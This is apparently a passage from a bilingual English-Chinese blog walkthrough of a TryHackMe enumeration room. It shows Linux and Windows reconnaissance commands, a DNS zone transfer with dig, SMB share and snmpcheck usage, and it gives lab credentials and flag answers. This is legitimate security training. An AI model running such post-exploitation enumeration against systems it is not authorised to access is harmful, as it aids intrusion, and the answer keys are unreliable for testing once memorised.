     2 ?        S      0:00 [kthreadd]
     4 ?        S&amp;lt;     0:00  \_ [kworker/0:0H]
     5 ?        S      0:01  \_ [kworker/u256:0]
[...]
   978 ?        Ss     0:00 /usr/sbin/sshd -D
  5665 ?        Ss     0:00  \_ sshd: peter [priv]
  5693 ?        S      0:00  |   \_ sshd: peter@pts/1
  5694 pts/1    Ss     0:00  |       \_ -bash
  5713 pts/1    S+     0:00  |           \_ vi notes.txt
  5723 ?        Ss     0:00  \_ sshd: jane [priv]
  5727 ?        S      0:00      \_ sshd: jane@pts/0
  5728 pts/0    Ss     0:00          \_ -bash
  7080 pts/0    R+     0:00              \_ ps axf
   979 ?        Ssl    0:12 /usr/bin/python2 -Es /usr/sbin/tuned -l -P
   981 ?        Ssl    0:07 /usr/sbin/rsyslogd -n
  1141 ?        Ss     0:00 /usr/libexec/postfix/master -w
  1147 ?        S      0:00  \_ qmgr -l -t unix -u
  6991 ?        S      0:00  \_ pickup -l -t unix -u
  1371 ?        Ss     0:00 login -- root
  1376 tty1     Ss     0:00  \_ -bash
  1411 tty1     S+     0:00      \_ man man
  1420 tty1     S+     0:00          \_ less -s
[...]
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@TryHackMe$ ps -ef | grep peter
root       5665    978  0 07:11 ?        00:00:00 sshd: peter [priv]
peter      5693   5665  0 07:13 ?        00:00:00 sshd: peter@pts/1
peter      5694   5693  0 07:13 pts/1    00:00:00 -bash
peter      5713   5694  0 07:13 pts/1    00:00:00 vi notes.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Answer the questions below&lt;br&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;What is the name of the Linux distribution used in the VM?&lt;br&gt;VM 中使用的 Linux 发行版的名称是什么？&lt;/p&gt;
&lt;p&gt;ubuntu&lt;/p&gt;
&lt;p&gt;What is its version number?&lt;br&gt;它的版本号是什么？&lt;/p&gt;
&lt;p&gt;20.04.4&lt;/p&gt;
&lt;p&gt;What is the name of the user who last logged in to the system?&lt;br&gt;上次登录系统的用户的名称是什么？&lt;/p&gt;
&lt;p&gt;randa&lt;/p&gt;
&lt;p&gt;What is the highest listening TCP port number?&lt;br&gt;最高侦听 TCP 端口号是多少？&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;sudo netstat -atlpn
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Enumeration-3.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;6667&lt;/p&gt;
&lt;p&gt;What is the program name of the service listening on it?&lt;br&gt;侦听它的服务的程序名称是什么？&lt;/p&gt;
&lt;p&gt;inspircd&lt;/p&gt;
&lt;p&gt;There is a script running in the background. Its name starts with &lt;strong&gt;THM&lt;/strong&gt;. What is the name of the script?&lt;br&gt;有一个脚本在后台运行。它的名称以 &lt;strong&gt;THM&lt;/strong&gt; 开头。脚本的名称是什么？&lt;/p&gt;
&lt;p&gt;ps -ef | grep THM&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Enumeration-4.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;Windows Enumeration&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Enumeration-5.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;In this task, we assume you have access to &lt;strong&gt;cmd&lt;/strong&gt; on a Microsoft Windows host. You might have gained this access by exploiting a vulnerability and getting a shell or a reverse shell. You may also have installed a backdoor or set up an &lt;u&gt;SSH&lt;/u&gt; server on a system you exploited. In all cases, the commands below require &lt;strong&gt;cmd&lt;/strong&gt; to run.&lt;br&gt;在此任务中，我们假定您有权 &lt;strong&gt;cmd&lt;/strong&gt; 访问 Microsoft Windows 主机。您可能已通过利用漏洞并获取 shell 或反向 shell 获得了此访问权限。您可能还在利用的系统上安装了后门程序或设置了 SSH 服务器。在所有情况下，都需要运行以下 &lt;strong&gt;cmd&lt;/strong&gt; 命令。&lt;/p&gt;
&lt;p&gt;In this task, we focus on enumerating an MS Windows host. For enumerating MS Active directory, you are encouraged to check the &lt;a href=&quot;https://tryhackme.com/room/adenumeration&quot;&gt;Enumerating Active Directory&lt;/a&gt; room. If you are interested in a privilege escalation on an MS Windows host, we recommend the &lt;a href=&quot;https://tryhackme.com/room/windowsprivesc20&quot;&gt;Windows Privesc 2.0&lt;/a&gt; room.&lt;br&gt;在此任务中，我们重点枚举 MS Windows 主机。要枚举 MS Active Directory，建议您选中枚举 Active Directory 房间。如果您对 MS Windows 主机上的权限升级感兴趣，我们建议使用 Windows Privesc 2.0 协作室。&lt;/p&gt;
&lt;p&gt;We recommend that you click &amp;quot;&lt;strong&gt;Start AttackBox&lt;/strong&gt;&amp;quot; and &amp;quot;&lt;strong&gt;Start Machine&lt;/strong&gt;&amp;quot; so that you can experiment and answer the questions at the end of this task.&lt;br&gt;建议您单击“启动 AttackBox”和“启动机器”，以便您可以在此任务结束时进行实验并回答问题。&lt;/p&gt;
&lt;h3&gt;System 系统&lt;/h3&gt;
&lt;p&gt;One command that can give us detailed information about the system, such as its build number and installed patches, would be &lt;strong&gt;systeminfo&lt;/strong&gt;. In the example below, we can see which hotfixes have been installed.&lt;br&gt;可以向我们提供有关系统的详细信息（例如其内部版本号和已安装的补丁）的一个命令是 &lt;strong&gt;systeminfo&lt;/strong&gt; 。在下面的示例中，我们可以看到安装了哪些修补程序。&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt;systeminfo

Host Name:                 WIN-SERVER-CLI
OS Name:                   Microsoft Windows Server 2022 Standard
OS Version:                10.0.20348 N/A Build 20348
OS Manufacturer:           Microsoft Corporation
[...]
Hotfix(s):                 3 Hotfix(s) Installed.
                           [01]: KB5013630
                           [02]: KB5013944
                           [03]: KB5012673
Network Card(s):           1 NIC(s) Installed.
                           [01]: Intel(R) 82574L Gigabit Network Connection
[...]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can check installed updates using &lt;strong&gt;wmic qfe get Caption,Description&lt;/strong&gt;. This information will give you an idea of how quickly systems are being patched and updated.&lt;br&gt;您可以使用 检查已安装的 &lt;strong&gt;wmic qfe get Caption,Description&lt;/strong&gt; 更新。此信息将使您了解系统修补和更新的速度。&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;p&gt;You can check the installed and started Windows services using &lt;strong&gt;net start&lt;/strong&gt;. Expect to get a long list; the output below has been snipped.&lt;br&gt;您可以使用 检查已安装和启动的 &lt;strong&gt;net start&lt;/strong&gt; Windows 服务。期待得到一个长长的名单;下面的输出已被截取。&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;p&gt;If you are only interested in installed apps, you can issue &lt;strong&gt;wmic product get name,version,vendor&lt;/strong&gt;. If you run this command on the attached virtual machine, you will get something similar to the following output.&lt;br&gt;如果您只对已安装的应用程序感兴趣，则可以发出 &lt;strong&gt;wmic product get name,version,vendor&lt;/strong&gt; .如果在连接的虚拟机上运行此命令，则会获得类似于以下输出的内容。&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;h3&gt;Users 用户&lt;/h3&gt;
&lt;p&gt;To know who you are, you can run &lt;strong&gt;whoami&lt;/strong&gt;; moreover, to know what you are capable of, i.e., your privileges, you can use &lt;strong&gt;whoami /priv&lt;/strong&gt;. An example is shown in the terminal output below.&lt;br&gt;要知道你是谁，你可以跑 &lt;strong&gt;whoami&lt;/strong&gt; ;此外，要了解您的能力，即您的特权，您可以使用 &lt;strong&gt;whoami /priv&lt;/strong&gt; .下面的终端输出中显示了一个示例。&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;p&gt;Moreover, you can use &lt;strong&gt;whoami /groups&lt;/strong&gt; to know which groups you belong to. The terminal output below shows that this user belongs to the &lt;strong&gt;NT AUTHORITY\Local account and member of Administrators group&lt;/strong&gt; among other groups.&lt;br&gt;此外，您可以使用 &lt;strong&gt;whoami /groups&lt;/strong&gt; 它来了解您属于哪些组。下面的终端输出显示此用户属于 &lt;strong&gt;NT AUTHORITY\Local account and member of Administrators group&lt;/strong&gt; 其他组。&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;p&gt;You can view users by running &lt;strong&gt;net user&lt;/strong&gt;.&lt;br&gt;您可以通过运行 &lt;strong&gt;net user&lt;/strong&gt; 来查看用户。&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;p&gt;You can discover the available groups using &lt;strong&gt;net group&lt;/strong&gt; if the system is a Windows Domain Controller or &lt;strong&gt;net localgroup&lt;/strong&gt; otherwise, as shown in the terminal below.&lt;br&gt;您可以使用 &lt;strong&gt;net group&lt;/strong&gt; 系统是 Windows 域控制器还是 &lt;strong&gt;net localgroup&lt;/strong&gt; 其他方式来发现可用的组，如下面的终端所示。&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;p&gt;You can list the users that belong to the local administrators’ group using the command &lt;strong&gt;net localgroup administrators&lt;/strong&gt;.&lt;br&gt;您可以使用命令 &lt;strong&gt;net localgroup administrators&lt;/strong&gt; 列出属于本地管理员组的用户。&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;p&gt;Use &lt;strong&gt;net accounts&lt;/strong&gt; to see the local settings on a machine; moreover, you can use &lt;strong&gt;net accounts /domain&lt;/strong&gt; if the machine belongs to a domain. This command helps learn about password policy, such as minimum password length, maximum password age, and lockout duration.&lt;br&gt;用于 &lt;strong&gt;net accounts&lt;/strong&gt; 查看计算机上的本地设置;此外，如果计算机属于域，则可以使用 &lt;strong&gt;net accounts /domain&lt;/strong&gt; 。此命令有助于了解密码策略，例如最小密码长度、最长密码期限和锁定持续时间。&lt;/p&gt;
&lt;h3&gt;Networking 联网&lt;/h3&gt;
&lt;p&gt;You can use the &lt;strong&gt;ipconfig&lt;/strong&gt; command to learn about your system network configuration. If you want to know all network-related settings, you can use &lt;strong&gt;ipconfig /all&lt;/strong&gt;. The terminal output below shows the output when using &lt;strong&gt;ipconfig&lt;/strong&gt;. For instance, we could have used &lt;strong&gt;ipconfig /all&lt;/strong&gt; if we wanted to learn the &lt;u&gt;DNS&lt;/u&gt; servers.&lt;br&gt;您可以使用该 &lt;strong&gt;ipconfig&lt;/strong&gt; 命令了解您的系统网络配置。如果您想了解所有与网络相关的设置，可以使用 &lt;strong&gt;ipconfig /all&lt;/strong&gt; .下面的终端输出显示了使用 &lt;strong&gt;ipconfig&lt;/strong&gt; 时的输出。例如， &lt;strong&gt;ipconfig /all&lt;/strong&gt; 如果我们想学习DNS服务器，我们可以使用。&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;p&gt;On MS Windows, we can use &lt;strong&gt;netstat&lt;/strong&gt; to get various information, such as which ports the system is listening on, which connections are active, and who is using them. In this example, we use the options &lt;strong&gt;-a&lt;/strong&gt; to display all listening ports and active connections. The &lt;strong&gt;-b&lt;/strong&gt; lets us find the binary involved in the connection, while &lt;strong&gt;-n&lt;/strong&gt; is used to avoid resolving IP addresses and port numbers. Finally, &lt;strong&gt;-o&lt;/strong&gt; display the process ID (&lt;u&gt;PID&lt;/u&gt;).&lt;br&gt;在 MS Windows 上，我们可以用来 &lt;strong&gt;netstat&lt;/strong&gt; 获取各种信息，例如系统正在侦听哪些端口、哪些连接处于活动状态以及谁在使用它们。在此示例中，我们使用这些选项 &lt;strong&gt;-a&lt;/strong&gt; 来显示所有侦听端口和活动连接。这 &lt;strong&gt;-b&lt;/strong&gt; 让我们可以找到连接中涉及的二进制文件，而 &lt;strong&gt;-n&lt;/strong&gt; 用于避免解析 IP 地址和端口号。最后， &lt;strong&gt;-o&lt;/strong&gt; 显示进程 ID （PID）。&lt;/p&gt;
&lt;p&gt;In the partial output shown below, we can see that &lt;strong&gt;netstat -abno&lt;/strong&gt; showed that the server is listening on &lt;u&gt;TCP&lt;/u&gt; ports 22, 135, 445 and 3389. The processes&lt;strong&gt;sshd.exe&lt;/strong&gt;, &lt;strong&gt;RpcSs&lt;/strong&gt;, and &lt;strong&gt;TermService&lt;/strong&gt; are on ports &lt;strong&gt;22&lt;/strong&gt;, &lt;strong&gt;135&lt;/strong&gt;, and &lt;strong&gt;3389&lt;/strong&gt;, respectively. Moreover, we can see two established connections to the &lt;u&gt;SSH&lt;/u&gt; server as indicated by the state &lt;strong&gt;ESTABLISHED&lt;/strong&gt;.&lt;br&gt;在下面显示的部分输出中，我们可以看到 &lt;strong&gt;netstat -abno&lt;/strong&gt; 服务器正在侦听 TCP 端口 22、135、445 和 3389。进程 &lt;strong&gt;sshd.exe&lt;/strong&gt; 、 &lt;strong&gt;RpcSs&lt;/strong&gt; 和 &lt;strong&gt;TermService&lt;/strong&gt; 分别位于端口 &lt;strong&gt;22&lt;/strong&gt; 、 &lt;strong&gt;135&lt;/strong&gt; 和 &lt;strong&gt;3389&lt;/strong&gt; 上。此外，我们可以看到两个已建立的与 SSH 服务器的连接，如 状态 &lt;strong&gt;ESTABLISHED&lt;/strong&gt; 所示。&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;p&gt;You might think that you can get an identical result by port scanning the target system; however, this is inaccurate for two reasons. A firewall might be blocking the scanning host from reaching specific network ports. Moreover, port scanning a system generates a considerable amount of traffic, unlike &lt;strong&gt;netstat&lt;/strong&gt;, which makes zero noise.&lt;br&gt;您可能认为通过端口扫描目标系统可以获得相同的结果;但是，由于两个原因，这是不准确的。防火墙可能阻止扫描主机访问特定网络端口。此外，端口扫描系统会产生相当大的流量，这与零噪音不同 &lt;strong&gt;netstat&lt;/strong&gt; 。&lt;/p&gt;
&lt;p&gt;Finally, it is worth mentioning that using &lt;strong&gt;arp -a&lt;/strong&gt; helps you discover other systems on the same LAN that recently communicated with your system. &lt;u&gt;ARP&lt;/u&gt; stands for Address Resolution Protocol; &lt;strong&gt;arp -a&lt;/strong&gt; shows the current &lt;u&gt;ARP&lt;/u&gt; entries, i.e., the physical addresses of the systems on the same LAN that communicated with your system. An example output is shown below. This indicates that these IP addresses have communicated somehow with our system; the communication can be an attempt to connect or even a simple ping. Note that &lt;strong&gt;10.10.255.255&lt;/strong&gt; does not represent a system as it is the subnet broadcast address.&lt;br&gt;最后，值得一提的是，使用 &lt;strong&gt;arp -a&lt;/strong&gt; 可以帮助您发现最近与您的系统通信的同一局域网上的其他系统。ARP 代表地址解析协议; &lt;strong&gt;arp -a&lt;/strong&gt; 显示当前 ARP 条目，即与您的系统通信的同一 LAN 上的系统的物理地址。下面显示了一个示例输出。这表明这些 IP 地址已以某种方式与我们的系统进行通信;通信可以是连接的尝试，甚至是简单的ping。请注意，这并不 &lt;strong&gt;10.10.255.255&lt;/strong&gt; 代表系统，因为它是子网广播地址。&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;p&gt;Start the attached MS Windows Server if you have not done so already, as you need it to answer the questions below. You can connect to the MS Windows &lt;u&gt;VM&lt;/u&gt; via &lt;u&gt;SSH&lt;/u&gt; from the AttackBox, for example, using &lt;strong&gt;ssh &lt;a href=&quot;mailto:user@10.10.121.218&quot;&gt;user@10.10.121.218&lt;/a&gt;&lt;/strong&gt; where the login credentials are:&lt;br&gt;如果您尚未启动附加的 MS Windows Server，因为您需要它来回答以下问题。例如，您可以从 AttackBox 通过 SSH 连接到 MS Windows VM，使用 &lt;strong&gt;ssh &lt;a href=&quot;mailto:user@10.10.121.218&quot;&gt;user@10.10.121.218&lt;/a&gt;&lt;/strong&gt; 登录凭据所在的位置：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Username: &lt;strong&gt;user&lt;/strong&gt; 用户名： &lt;strong&gt;user&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Password: &lt;strong&gt;THM33$$88&lt;/strong&gt; 密码： &lt;strong&gt;THM33$$88&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt;wmic qfe get Caption,Description
Caption                                     Description      
http://support.microsoft.com/?kbid=5013630  Update
https://support.microsoft.com/help/5013944  Security Update
                                            Update
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt;net start
These Windows services are started:

   Base Filtering Engine
   Certificate Propagation
   Client License Service (ClipSVC)
   COM+ Event System
   Connected User Experiences and Telemetry
   CoreMessaging
   Cryptographic Services
   DCOM Server Process Launcher
   DHCP Client
   DNS Client
[...]
   Windows Time
   Windows Update
   WinHTTP Web Proxy Auto-Discovery Service
   Workstation

The command completed successfully.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt;wmic product get name,version,vendor
Name                                                            Vendor                                   Version
Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29910     Microsoft Corporation                    14.28.29910
[...]
Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29910  Microsoft Corporation                    14.28.29910
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt;whoami
win-server-cli\strategos

&amp;gt; whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State
========================================= ================================================================== =======
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Enabled
SeSecurityPrivilege                       Manage auditing and security log                                   Enabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Enabled
[...]
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt;whoami /groups

GROUP INFORMATION
-----------------

Group Name                                                    Type             SID          Attributes
============================================================= ================ ============ ===============================================================
Everyone                                                      Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account and member of Administrators group Well-known group S-1-5-114    Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators                                        Alias            S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
[...]
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt;net user

User accounts for \\WIN-SERVER-CLI

-------------------------------------------------------------------------------
Administrator            DefaultAccount           Guest
michael                  peter                    strategos
WDAGUtilityAccount
The command completed successfully.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt;net localgroup

Aliases for \\WIN-SERVER-CLI

-------------------------------------------------------------------------------
*Access Control Assistance Operators
*Administrators
*Backup Operators
*Certificate Service DCOM Access
*Cryptographic Operators
*Device Owners
[...]
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt;net localgroup administrators
Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
michael
peter
strategos
The command completed successfully.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt;ipconfig

Windows IP Configuration


Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . : localdomain
   Link-local IPv6 Address . . . . . : fe80::3dc5:78ef:1274:a740%5
   IPv4 Address. . . . . . . . . . . : 10.20.30.130
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.20.30.2
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt;netstat -abno

Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:22             0.0.0.0:0              LISTENING       2016
 [sshd.exe]
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       924
  RpcSs
 [svchost.exe]
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
 Can not obtain ownership information
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING       416
  TermService
 [svchost.exe]
[...]
  TCP    10.20.30.130:22        10.20.30.1:39956       ESTABLISHED     2016
 [sshd.exe]
  TCP    10.20.30.130:22        10.20.30.1:39964       ESTABLISHED     2016
 [sshd.exe]
[...]
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt;arp -a

Interface: 10.10.204.175 --- 0x4 
  Internet Address      Physical Address      Type
  10.10.0.1             02-c8-85-b5-5a-aa     dynamic
  10.10.16.117          02-f2-42-76-fc-ef     dynamic
  10.10.122.196         02-48-58-7b-92-e5     dynamic
  10.10.146.13          02-36-c1-4d-05-f9     dynamic
  10.10.161.4           02-a8-58-98-1a-d3     dynamic
  10.10.217.222         02-68-10-dd-be-8d     dynamic
  10.10.255.255         ff-ff-ff-ff-ff-ff     static
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Answer the questions below&lt;br&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;What is the full OS Name?&lt;br&gt;完整的操作系统名称是什么？&lt;/p&gt;
&lt;p&gt;Microsoft Windows Server 2019 Datacenter&lt;/p&gt;
&lt;p&gt;What is the OS Version?&lt;br&gt;什么是操作系统版本？&lt;/p&gt;
&lt;p&gt;10.0.17763&lt;/p&gt;
&lt;p&gt;How many hotfixes are installed on this MS Windows Server?&lt;br&gt;此 MS Windows Server 上安装了多少个修补程序？&lt;br&gt;30&lt;/p&gt;
&lt;p&gt;What is the lowest TCP port number listening on the system?&lt;br&gt;侦听系统上的最低 TCP 端口号是多少？&lt;/p&gt;
&lt;p&gt;22&lt;/p&gt;
&lt;p&gt;What is the name of the program listening on that port?&lt;br&gt;侦听该端口的程序的名称是什么？&lt;/p&gt;
&lt;p&gt;sshd.exe&lt;/p&gt;
&lt;h1&gt;DNS, SMB, and SNMP&lt;/h1&gt;
&lt;p&gt;As we cover enumeration, it is a good idea to touch on &lt;u&gt;DNS&lt;/u&gt;, &lt;u&gt;SMB&lt;/u&gt;, and SNMP.&lt;br&gt;当我们介绍枚举时，最好介绍一下 DNS、SMB 和 SNMP。&lt;/p&gt;
&lt;h3&gt;&lt;u&gt;DNS&lt;/u&gt;&lt;/h3&gt;
&lt;p&gt;We are all familiar with Domain Name System (DNS) queries where we can look up A, AAAA, CName, and TXT records, among others. If you want to brush up on your DNS knowledge, we suggest you visit the &lt;a href=&quot;https://tryhackme.com/room/dnsindetail&quot;&gt;DNSin Detail&lt;/a&gt; room. If we can get a “copy” of all the records that a &lt;u&gt;DNS&lt;/u&gt; server is responsible for answering, we might discover hosts we didn’t know existed.&lt;br&gt;我们都熟悉域名系统 （DNS） 查询，我们可以在其中查找 A、AAAA、CName 和 TXT 记录等。如果您想复习DNS知识，我们建议您访问DNS详细信息房间。如果我们可以获得DNS服务器负责应答的所有记录的“副本”，我们可能会发现我们不知道存在的主机。&lt;/p&gt;
&lt;p&gt;One easy way to try &lt;u&gt;DNS&lt;/u&gt; zone transfer is via the &lt;strong&gt;dig&lt;/strong&gt; command. If you want to learn more about &lt;strong&gt;dig&lt;/strong&gt; and similar commands, we suggest checking the &lt;a href=&quot;https://tryhackme.com/room/passiverecon&quot;&gt;Passive Reconnaissance&lt;/a&gt; room. Depending on the &lt;u&gt;DNS&lt;/u&gt; server configuration, &lt;u&gt;DNS&lt;/u&gt; zone transfer might be restricted. If it is not restricted, it should be achievable using &lt;strong&gt;dig -t AXFR DOMAIN_NAME @DNS_SERVER&lt;/strong&gt;. The &lt;strong&gt;-t AXFR&lt;/strong&gt; indicates that we are requesting a zone transfer, while &lt;strong&gt;@&lt;/strong&gt; precedes the &lt;strong&gt;DNS_SERVER&lt;/strong&gt; that we want to query regarding the records related to the specified &lt;strong&gt;DOMAIN_NAME&lt;/strong&gt;.&lt;br&gt;尝试DNS区域传输的一种简单方法是通过 &lt;strong&gt;dig&lt;/strong&gt; 命令。如果您想了解有关和类似命令的更多信息 &lt;strong&gt;dig&lt;/strong&gt; ，我们建议您查看被动侦察室。根据 DNS 服务器配置，DNS 区域传输可能会受到限制。如果它不受限制，它应该可以使用 &lt;strong&gt;dig -t AXFR DOMAIN_NAME @DNS_SERVER&lt;/strong&gt; 来实现。表示 &lt;strong&gt;-t AXFR&lt;/strong&gt; 我们正在请求区域传输，而 &lt;strong&gt;@&lt;/strong&gt; 在 &lt;strong&gt;DNS_SERVER&lt;/strong&gt; 要查询与指定 &lt;strong&gt;DOMAIN_NAME&lt;/strong&gt; .&lt;/p&gt;
&lt;h3&gt;&lt;u&gt;SMB&lt;/u&gt;&lt;/h3&gt;
&lt;p&gt;Server Message Block (&lt;u&gt;SMB&lt;/u&gt;) is a communication protocol that provides shared access to files and printers. We can check shared folders using &lt;strong&gt;net share&lt;/strong&gt;. Here is an example of the output. We can see that &lt;strong&gt;C:\Internal Files&lt;/strong&gt; is shared under the name &lt;em&gt;Internal&lt;/em&gt;.&lt;br&gt;服务器消息块 （SMB） 是一种通信协议，提供对文件和打印机的共享访问。我们可以使用 &lt;strong&gt;net share&lt;/strong&gt; .下面是输出的示例。我们可以看到它 &lt;strong&gt;C:\Internal Files&lt;/strong&gt; 以 Internal 的名义共享。&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@TryHackMe$ net share

Share name   Resource                        Remark

-------------------------------------------------------------------------------
C$           C:\                             Default share
IPC$                                         Remote IPC
ADMIN$       C:\Windows                      Remote Admin
Internal     C:\Internal Files               Internal Documents
Users        C:\Users
The command completed successfully.
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;SNMP SNMP的&lt;/h3&gt;
&lt;p&gt;Simple Network Management Protocol (SNMP) was designed to help collect information about different devices on the network. It lets you know about various network events, from a server with a faulty disk to a printer out of ink. Consequently, SNMP can hold a trove of information for the attacker. One simple tool to query servers related to SNMP is &lt;strong&gt;snmpcheck&lt;/strong&gt;. You can find it on the AttackBox at the &lt;strong&gt;/opt/snmpcheck/&lt;/strong&gt; directory; the syntax is quite simple: &lt;strong&gt;/opt/snmpcheck/snmpcheck.rb 10.10.8.89 -c COMMUNITY_STRING&lt;/strong&gt;.&lt;br&gt;简单网络管理协议 （SNMP） 旨在帮助收集有关网络上不同设备的信息。它可以让您了解各种网络事件，从磁盘故障的服务器到墨水不足的打印机。因此，SNMP可以为攻击者保存大量信息。查询与SNMP相关的服务器的一个简单工具是 &lt;strong&gt;snmpcheck&lt;/strong&gt; 。您可以在 AttackBox &lt;strong&gt;/opt/snmpcheck/&lt;/strong&gt; 目录中找到它;语法很简单： &lt;strong&gt;/opt/snmpcheck/snmpcheck.rb 10.10.8.89 -c COMMUNITY_STRING&lt;/strong&gt; .&lt;/p&gt;
&lt;p&gt;If you would like to install &lt;strong&gt;snmpcheck&lt;/strong&gt; on your local Linux box, consider the following commands.&lt;br&gt;如果要在本地 Linux 机器上安装 &lt;strong&gt;snmpcheck&lt;/strong&gt; ，请考虑以下命令。&lt;/p&gt;
&lt;p&gt;Terminal 终端&lt;/p&gt;
&lt;p&gt;Ensure that you are running the MS Windows Server machine from Task 4 and answer the following questions.&lt;br&gt;确保您从任务 4 运行 MS Windows Server 计算机并回答以下问题。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;git clone https://gitlab.com/kalilinux/packages/snmpcheck.git
cd snmpcheck/
gem install snmp
chmod +x snmpcheck-1.9.rb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Answer the questions below&lt;br&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;Knowing that the domain name on the MS Windows Server of IP &lt;strong&gt;10.10.8.89&lt;/strong&gt; is &lt;strong&gt;redteam.thm&lt;/strong&gt;, use &lt;strong&gt;dig&lt;/strong&gt; to carry out a domain transfer. What is the flag that you get in the records?&lt;br&gt;知道 MS Windows Server 上的域名 &lt;strong&gt;10.10.8.89&lt;/strong&gt; 是 &lt;strong&gt;redteam.thm&lt;/strong&gt; ，用于 &lt;strong&gt;dig&lt;/strong&gt; 进行域名转移。您在记录中得到的标志是什么？&lt;/p&gt;
&lt;p&gt;dig -t AXFR redteam.thm @&lt;strong&gt;10.10.198.117&lt;/strong&gt; &lt;/p&gt;
&lt;p&gt;THM{DNS_ZONE}&lt;/p&gt;
&lt;p&gt;What is the name of the share available over SMB protocol and starts with &lt;strong&gt;THM&lt;/strong&gt;?&lt;br&gt;通过 SMB 协议可用且以 ？ 开头的 &lt;strong&gt;THM&lt;/strong&gt; 共享的名称是什么？&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;#在Windows目标机器上执行以下命令(此处需要在攻击机上使用ssh登录到目标机器)
net share
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; THM{829738}&lt;/p&gt;
